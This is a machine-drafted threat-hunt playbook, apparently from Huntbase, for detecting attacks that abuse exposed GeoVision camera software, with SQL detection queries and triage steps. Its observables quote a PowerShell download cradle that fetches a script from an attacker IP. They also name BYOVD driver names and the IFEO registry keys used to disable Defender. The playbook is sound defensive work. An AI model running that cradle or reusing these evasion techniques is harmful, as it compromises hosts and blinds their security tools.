GeoVision Camera Exploitation and Defense Impairment
An intruder has exploited internet-exposed GeoVision surveillance services to execute PowerShell cradles, using that foothold to blind local security via IFEO registry hijacks and vulnerable driver loads.
Based on research by Huntress 2026-11-14 12 steps · 4 queries T1059.001 T1083 T1112 T1190 T1518.001 T1562.001
Brief
Why Now
Huntress recently reported in "GeoVision Camera Software Abused to Deploy XMRig Cryptominer" (https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer) that attackers target internet-exposed GeoVision surveillance software to deploy cryptominers. The campaign is notable for the aggressive steps taken to blind local security software before the final payload arrives. Widespread exploitation across at least thirteen organizations highlights the need for a structured investigation into these specific evasion tactics.
How the Hunt Flows
The hunt begins with a scoping query in the network surface. It looks for outbound connections from GeoVision services to a set of known malicious IPs used for PowerShell cradles and Golang loaders. This cheap lead identifies candidate hosts for a deeper dive without scanning the entire estate for registry or kernel activity. By starting with network indicators, we minimize the performance impact on the environment while maximizing the relevance of the subsequent forensic steps. Once a host shows suspicious network activity, a decision gate opens the triage phase. Three queries run in parallel across different surfaces. The first examines process activity for GeoVision services like webcamserver.exe spawning cmd.exe or powershell.exe. The second monitors registry activity for IFEO debugger values that redirect security binaries to systray.exe. The third checks kernel activity for rare or known-vulnerable drivers like kvckiller.sys used in Bring Your Own Vulnerable Driver (BYOVD) attacks. Finally, an agent correlates the evidence. It weighs the presence of a network lead against the shell execution and registry hijacks. This multi-surface correlation ensures that an analyst identifies a coordinated attack rather than isolated, potentially benign administrative events. The agent assesses the host's overall state, providing a malicious, suspicious, or benign verdict based on the density of the evidence. This correlation distinguishes opportunistic exploitation from legitimate administration, which is why we classify this as a hunt rather than a simple detection.
What the Hunt Cannot See
The hunt has two primary blind spots. If the environment lacks network connection auditing, the initial lead query will return no results, and the hunt will not proceed to the deep-dive phase. Similarly, if registry auditing, such as Sysmon EventID 13, is not enabled for the IFEO keys, the hunt cannot see the debugger hijacks used to disable security tools. Furthermore, if the adversary uses a private driver not included in our vulnerable list, the kernel lead may be missed.
Steps
-
Lead: Outbound connections to malicious infrastructure
Query · scopingIdentify hosts communicating with IP addresses associated with the GeoVision exploitation campaign.
reads hb_network_connectionsqlSELECT device_hostname, process_name, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE instr(',' || '{{malicious_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. A network connection from a GeoVision service or other process to a reported IP. Silence is not evidence of absence if IPs rotate, but serves as a cheap gate for the campaign indicators.
-
Assess network lead
Agent triageAnalyze the network lead to determine if the connection context suggests exploitation.
-
Gate on exploitation signal
DecisionOnly proceed with expensive parallel queries if the network lead is confirmed as suspicious or malicious.
-
GeoVision service spawning shells
Query · triageIdentify if GeoVision services have spawned shells or PowerShell, particularly those containing download cradles.
reads hb_process_activitysqlSELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{geovision_services}}' || ',', ',' || LOWER(parent_process_name) || ',') > 0 AND (LOWER(process_name) = 'cmd.exe' OR LOWER(process_name) = 'powershell.exe') AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. A shell child of a GeoVision service, often executing an 'iex' or 'net.webclient' download cradle.
-
IFEO Debugger hijacks for Defender
Query · detection candidateDetect IFEO registry values that redirect Microsoft Defender engine and UI launches to systray.exe.
reads hb_registry_activitysqlSELECT device_hostname, reg_target, reg_value_name, reg_value_data, time FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\image file execution options\%' AND LOWER(reg_value_name) = 'debugger' AND LOWER(reg_value_data) LIKE '%systray.exe%' AND time >= datetime('now', '-{{lookback_days}} days')What a hit looks like. A registry value pointing a security binary debugger to systray.exe. This is extremely high signal for defense evasion.
-
Rare and vulnerable driver load prevalence
Query · baselineFind known-vulnerable driver loads or rare drivers loaded on hosts showing exploitation signs.
reads hb_kernel_extension_activitysqlSELECT LOWER(driver_path) AS path, driver_signature_subject, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_kernel_extension_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{vulnerable_drivers}}' || ',', ',' || LOWER(driver_path) || ',') > 0 OR (LOWER(driver_path) NOT LIKE 'c:\windows\system32\drivers\%' AND driver_signed = 'false')) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2 HAVING hosts <= 3 ORDER BY hosts ASCWhat a hit looks like. The loading of kvckiller.sys or other rare, unsigned drivers on hosts that also show GeoVision exploitation leads.
-
Triage compromise chain
Agent triageCorrelate the network lead, shell execution, IFEO hijacks, and driver loads to confirm a coordinated attack.
-
Route on verdict
DecisionTake immediate action on malicious findings or route to manual review.
-
Isolate host
Response actionPrevent further payload delivery and command-and-control communication.
-
Analyst review and tuning
Analyst taskPerform manual confirmation and document findings.
-
Close out
Analyst taskRecord the hunt results and document any visibility gaps.
Coverage
Scenario coverage
| Stage | Covered | How, or why not |
|---|---|---|
| GeoVision Software Exploitation T1190 |
Yes | lead-geovision-network |
| PowerShell Execution and Discovery T1059.001 · T1083 · T1518.001 |
Yes | shell-cradle-execution |
| Defense Evasion via IFEO and BYOVD T1562.001 · T1112 |
Yes | ifeo-registry-hijacks, vulnerable-driver-loads |
| Scheduled Task Persistence T1053.005 |
Out of scope | Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series. |
| Loader C2 and Dynamic Resolution T1105 · T1568 |
Out of scope | Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series. |
| XMRig Cryptomining T1496 |
Out of scope | Belongs to another part of the 'GeoVision Camera Software Abused to Deploy XMRig Cryptominer' series. |
Blind spots
- Needs hb_network_connection or firewall logs. If network connections aren't audited, the lead query will return zero rows, and the gate will remain closed. It would answer whether connections to malicious IPs occurred on hosts with no network sensor.
- Needs hb_registry_activity with Sysmon EventID 13. Attacker can blind security tools without leaving a record in the registry activity surface if auditing is not configured. It would answer whether IFEO hijacks were successfully written to the registry.
Parameters & data
Parameters
| Parameter | Type | Default | What it is |
|---|---|---|---|
geovision_services | list[string] | geostartupagentservice.exe, webcamserver.exe | Filenames of GeoVision services observed as exploitation targets. |
lookback_days | number | 14 | Days of history to examine. |
malicious_ips | list[ip] | 45.32.117.34, 156.246.94.183, 2.59.133.151 | IP addresses associated with PowerShell cradles and Golang loader C2. |
scope_hosts | list[host] | — | Narrow the deep-dive queries to these hosts; leave empty to scan the estate. |
vulnerable_drivers | list[string] | kvckiller.sys, wsftprm.sys | Vulnerable drivers used in BYOVD attacks to kill security products. |
Telemetry
| Source | Category | Telemetry |
|---|---|---|
| Endpoint telemetry (hb_ surfaces) | endpoint | endpoint |
| Network telemetry | network | network |
Source
---
analysis: This hunt correlates a vulnerable parent process with rare driver loads
and IFEO registry hijacks across four surfaces. This correlation distinguishes opportunistic
exploitation from legitimate administration and identifies blinded security controls
that single rules often miss.
blind_spots:
- id: no-network-telemetry
question: whether connections to malicious IPs occurred on hosts with no network
sensor
requires: hb_network_connection or firewall logs
risk: If network connections aren't audited, the lead query will return zero rows,
and the gate will remain closed.
stage: initial-access-geovision-exploitation
- id: no-registry-visibility
question: whether IFEO hijacks were successfully written to the registry
requires: hb_registry_activity with Sysmon EventID 13
risk: Attacker can blind security tools without leaving a record in the registry
activity surface if auditing is not configured.
stage: defense-impairment-ifeo-byovd
coverage:
- stage: initial-access-geovision-exploitation
status: covered
steps:
- lead-geovision-network
- stage: powershell-cradle-and-discovery
status: covered
steps:
- shell-cradle-execution
- stage: defense-impairment-ifeo-byovd
status: covered
steps:
- ifeo-registry-hijacks
- vulnerable-driver-loads
- reason: Belongs to another part of the 'GeoVision Camera Software Abused to Deploy
XMRig Cryptominer' series.
stage: persistence-scheduled-tasks
status: out_of_scope
- reason: Belongs to another part of the 'GeoVision Camera Software Abused to Deploy
XMRig Cryptominer' series.
stage: golang-loader-c2-resolution
status: out_of_scope
- reason: Belongs to another part of the 'GeoVision Camera Software Abused to Deploy
XMRig Cryptominer' series.
stage: cryptomining-impact
status: out_of_scope
guardrails:
claims: no_unsupported
evidence: citation_required
missing_data: not_benign
telemetry: untrusted
hunt:
applicability: campaign-specific
handoff: promote-to-detection
justification: Widespread exploitation of GeoVision software has been observed across
13 organizations. Identifying the systematic blinding of security tools like Microsoft
Defender is critical to preventing the high-impact cryptomining that follows.
methodology: model-assisted
trigger: intel-report
hypothesis: An intruder has exploited internet-exposed GeoVision surveillance services
to execute PowerShell cradles, using that foothold to blind local security via IFEO
registry hijacks and vulnerable driver loads.
labels:
- hunt
- attack.t1190
- attack.t1059.001
- attack.t1562.001
- attack.t1112
- attack.t1518.001
- attack.t1083
- command and control
- defense evasion
- execution
- impact
- initial access
- persistence
name: GeoVision Camera Exploitation and Defense Impairment
parameters:
geovision_services:
default:
- geostartupagentservice.exe
- webcamserver.exe
description: Filenames of GeoVision services observed as exploitation targets.
from:
kind: article
observed: '2024-11-08'
ref: https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer
type: list[string]
lookback_days:
default: '14'
description: Days of history to examine.
from:
kind: manual
observed: '2024-11-13'
ref: hunt-standard-lookback
type: number
malicious_ips:
default:
- 45.32.117.34
- 156.246.94.183
- 2.59.133.151
description: IP addresses associated with PowerShell cradles and Golang loader
C2.
from:
kind: article
observed: '2024-11-08'
ref: https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer
type: list[ip]
scope_hosts:
default: []
description: Narrow the deep-dive queries to these hosts; leave empty to scan
the estate.
from:
kind: manual
observed: '2024-11-13'
ref: scoping-parameter
type: list[host]
vulnerable_drivers:
default:
- kvckiller.sys
- wsftprm.sys
description: Vulnerable drivers used in BYOVD attacks to kill security products.
from:
kind: article
observed: '2024-11-08'
ref: https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer
type: list[string]
provenance:
authors:
- name: Huntbase hunt generation
org: huntbase.io
generated:
by: huntbase-hunt-generation
from: https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer
gates:
- dry-run
- lint
model: hb_google/gemini-3-flash-preview
rationale: Start with internet-exposed servers. Use the network lead to identify candidate
hosts, then use the scope_hosts parameter to efficiently run the registry and kernel
deep dives across the identified estate.
references:
- name: "Huntress \u2014 GeoVision Camera Software Abused to Deploy XMRig Cryptominer"
url: https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer
related:
- hunt: geovision-persistence-and-payloads
reason: Persistence via scheduled tasks and the Golang loader's C2 are handled in
a follow-on hunt.
relation: out-of-scope-alternative
scenario:
stages:
- name: GeoVision Software Exploitation
observables:
- GeoStartupAgentService.exe spawning cmd.exe
- WebCamServer.exe connecting to 2.59.133.151
- Publicly exposed GeoVision management interfaces
slug: initial-access-geovision-exploitation
tactic: initial-access
techniques:
- T1190
- name: PowerShell Execution and Discovery
observables:
- powershell -c iex (new-object net.webclient).downloadstring('hxxp://45.32.117.34/a')
- a.ps1
- b.ps1
- c.ps1
- Writable directory searching
- Microsoft Defender status checks
slug: powershell-cradle-and-discovery
tactic: execution
techniques:
- T1059.001
- T1083
- T1518.001
- name: Defense Evasion via IFEO and BYOVD
observables:
- kvckiller.sys
- wsftprm.sys
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthService.exe
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityHealthSystray.exe
- IFEO Debugger set to systray.exe
slug: defense-impairment-ifeo-byovd
tactic: defense-evasion
techniques:
- T1562.001
- T1112
- name: Scheduled Task Persistence
observables:
- 'Task name: PackageUpdater'
- 'Task name: PackageUpdater_Startup'
- C:\WINDOWS\system32\config\systemprofile\update.exe
slug: persistence-scheduled-tasks
tactic: persistence
techniques:
- T1053.005
- name: Loader C2 and Dynamic Resolution
observables:
- update.exe (Golang loader)
- cctv-update.top
- 156.246.94.183
- Outbound UDP traffic on port 6881 (DHT)
- DNS queries to 8.8.8.8, 8.8.4.4, or 1.1.1.1 from update.exe
slug: golang-loader-c2-resolution
tactic: command-and-control
techniques:
- T1105
- T1568
- name: XMRig Cryptomining
observables:
- ApplyUpdate.exe (XMRig miner)
slug: cryptomining-impact
tactic: impact
techniques:
- T1496
summary: Attackers exploited internet-exposed GeoVision camera software to execute
PowerShell download cradles, which deployed multiple scripts for environment discovery
and defense evasion. The intrusion involved disabling Windows Defender via IFEO
hijacks and a vulnerable driver (BYOVD) before establishing persistence with scheduled
tasks and deploying an XMRig cryptominer through a custom Golang loader using
DHT-based dynamic resolution.
series:
index: 1
slug: geovision-camera-software-abused-to-deploy-xmrig-cryptominer
title: GeoVision Camera Software Abused to Deploy XMRig Cryptominer
total: 2
severity: high
targets:
analyst:
name: Tier-2 analyst
role: analyst
endpoint:
category: endpoint
name: Endpoint telemetry (hb_ surfaces)
telemetry:
- endpoint
hunter:
agent: true
name: Hunt agent
network:
category: network
name: Network telemetry
telemetry:
- network
tlp: clear
type: investigation
---
# GeoVision Camera Exploitation and Defense Impairment
This hunt targets the initial compromise and defense evasion stages of a campaign against GeoVision surveillance systems. It uses a cheap lead query to identify network connections to known malicious infrastructure, then gates the hunt to deep-dive into the resulting host activity. The hunt looks for suspicious shell execution from GeoVision services, Image File Execution Options (IFEO) registry hijacks that redirect security binaries to systray.exe, and the loading of vulnerable kernel drivers used to disable Microsoft Defender. An agent weighs the evidence across network, process, registry, and kernel surfaces to confirm a coordinated intrusion.
## lead-geovision-network
<!-- Lead: Outbound connections to malicious infrastructure -->
Identify hosts communicating with IP addresses associated with the GeoVision exploitation campaign.
```sqlite target=network role=scoping params=(malicious_ips=malicious_ips, lookback_days=lookback_days)
~~~yaml
expected: A network connection from a GeoVision service or other process to a reported
IP. Silence is not evidence of absence if IPs rotate, but serves as a cheap gate
for the campaign indicators.
reads:
- device_hostname
- process_name
- dst_endpoint_ip
- dst_endpoint_port
- time
silence: not_evidence_of_absence
source: hb_network_connection
verified: dry-run
verified_at: '2026-11-14'
~~~
SELECT device_hostname, process_name, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE instr(',' || '{{malicious_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days')
```
## assess-network-lead
<!-- Assess network lead -->
```agent target=hunter
cite: required
context:
- lead-geovision-network
max_iterations: 3
objective: Determine if the network connection to reported IPs represents a genuine
exploitation attempt, paying close attention to whether GeoVision binaries are the
source process.
success_criteria: A verdict of malicious | suspicious | benign per host.
tools:
- endpoint
- network
```
## gate-on-exploitation
<!-- Gate on exploitation signal -->
if~: "the assess-network-lead verdict is malicious or suspicious for at least one host" (confidence: high, judge=hunter)
then: → parallel-deep-dive
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: no-network-telemetry)
else: → close-out
## parallel-deep-dive
<!-- Deep dive into exploitation and evasion -->
parallel:
- → shell-cradle-execution
- → ifeo-registry-hijacks
- → vulnerable-driver-loads
join: → triage-compromise
## shell-cradle-execution
<!-- GeoVision service spawning shells -->
Identify if GeoVision services have spawned shells or PowerShell, particularly those containing download cradles.
```sqlite target=endpoint role=triage params=(geovision_services=geovision_services, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: A shell child of a GeoVision service, often executing an 'iex' or 'net.webclient'
download cradle.
reads:
- device_hostname
- process_name
- process_cmd_line
- parent_process_name
- user_name
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-11-14'
~~~
SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{geovision_services}}' || ',', ',' || LOWER(parent_process_name) || ',') > 0 AND (LOWER(process_name) = 'cmd.exe' OR LOWER(process_name) = 'powershell.exe') AND time >= datetime('now', '-{{lookback_days}} days')
```
## ifeo-registry-hijacks
<!-- IFEO Debugger hijacks for Defender -->
Detect IFEO registry values that redirect Microsoft Defender engine and UI launches to systray.exe.
```sqlite target=endpoint role=detection-candidate params=(scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
expected: A registry value pointing a security binary debugger to systray.exe. This
is extremely high signal for defense evasion.
reads:
- device_hostname
- reg_target
- reg_value_name
- reg_value_data
- time
silence: not_evidence_of_absence
source: hb_registry_activity
verified: dry-run
verified_at: '2026-11-14'
~~~
SELECT device_hostname, reg_target, reg_value_name, reg_value_data, time FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\image file execution options\%' AND LOWER(reg_value_name) = 'debugger' AND LOWER(reg_value_data) LIKE '%systray.exe%' AND time >= datetime('now', '-{{lookback_days}} days')
```
## vulnerable-driver-loads
<!-- Rare and vulnerable driver load prevalence -->
Find known-vulnerable driver loads or rare drivers loaded on hosts showing exploitation signs.
```sqlite target=endpoint role=baseline params=(vulnerable_drivers=vulnerable_drivers, scope_hosts=scope_hosts, lookback_days=lookback_days)
~~~yaml
baseline:
compare: first_seen
window: '{{lookback_days}}d'
expected: The loading of kvckiller.sys or other rare, unsigned drivers on hosts that
also show GeoVision exploitation leads.
prevalence:
by: device_hostname
key:
- driver_path
rare_below: 3
reads:
- device_hostname
- driver_path
- driver_signature_subject
- time
- driver_signed
silence: not_evidence_of_absence
source: hb_kernel_extension_activity
verified: dry-run
verified_at: '2026-11-14'
~~~
SELECT LOWER(driver_path) AS path, driver_signature_subject, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_kernel_extension_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{vulnerable_drivers}}' || ',', ',' || LOWER(driver_path) || ',') > 0 OR (LOWER(driver_path) NOT LIKE 'c:\windows\system32\drivers\%' AND driver_signed = 'false')) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2 HAVING hosts <= 3 ORDER BY hosts ASC
```
## triage-compromise
<!-- Triage compromise chain -->
```agent target=hunter
cite: required
context:
- assess-network-lead
- shell-cradle-execution
- ifeo-registry-hijacks
- vulnerable-driver-loads
max_iterations: 5
objective: Weigh the evidence from the network lead, shell execution, IFEO registry
hijacks, and driver loads together to confirm if the GeoVision software was exploited
to blind security controls.
success_criteria: A verdict of malicious | suspicious | benign per host citing the
rows.
tools:
- endpoint
- network
```
## route-on-verdict
<!-- Route on verdict -->
if~: "the triage-compromise verdict is malicious for at least one host" (confidence: high, judge=hunter)
then: → isolate-host
indeterminate: → analyst-review
unavailable: → analyst-review (blind_spot: no-registry-visibility)
else: → analyst-review
## isolate-host
<!-- Isolate host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the host immediately. Remove the IFEO registry hijacks and collect identified malicious drivers for forensic analysis.
```
→ analyst-review
## analyst-review
<!-- Analyst review and tuning -->
```manual target=analyst
Review the agent's cited rows. Verify if GeoVision binaries were legitimate administrators performing maintenance or true exploitation. Check for subsequent stages like the PackageUpdater scheduled task.
```
→ close-out
## close-out
<!-- Close out -->
```manual target=analyst
Document the hosts scanned. If no activity was found, record this as evidence of absence for the GeoVision exploitation hypothesis.
```
→ end
Run it
Take this hunt into your environment.
Open it in Huntbase to run every step against your own connections, with Scout weighing the evidence and your analysts in command. Or take the open hunt.md file anywhere that reads the format.
Machine-drafted by huntbase-hunt-generation using hb_google/gemini-3-flash-preview, gated by dry-run, lint, then reviewed by a person.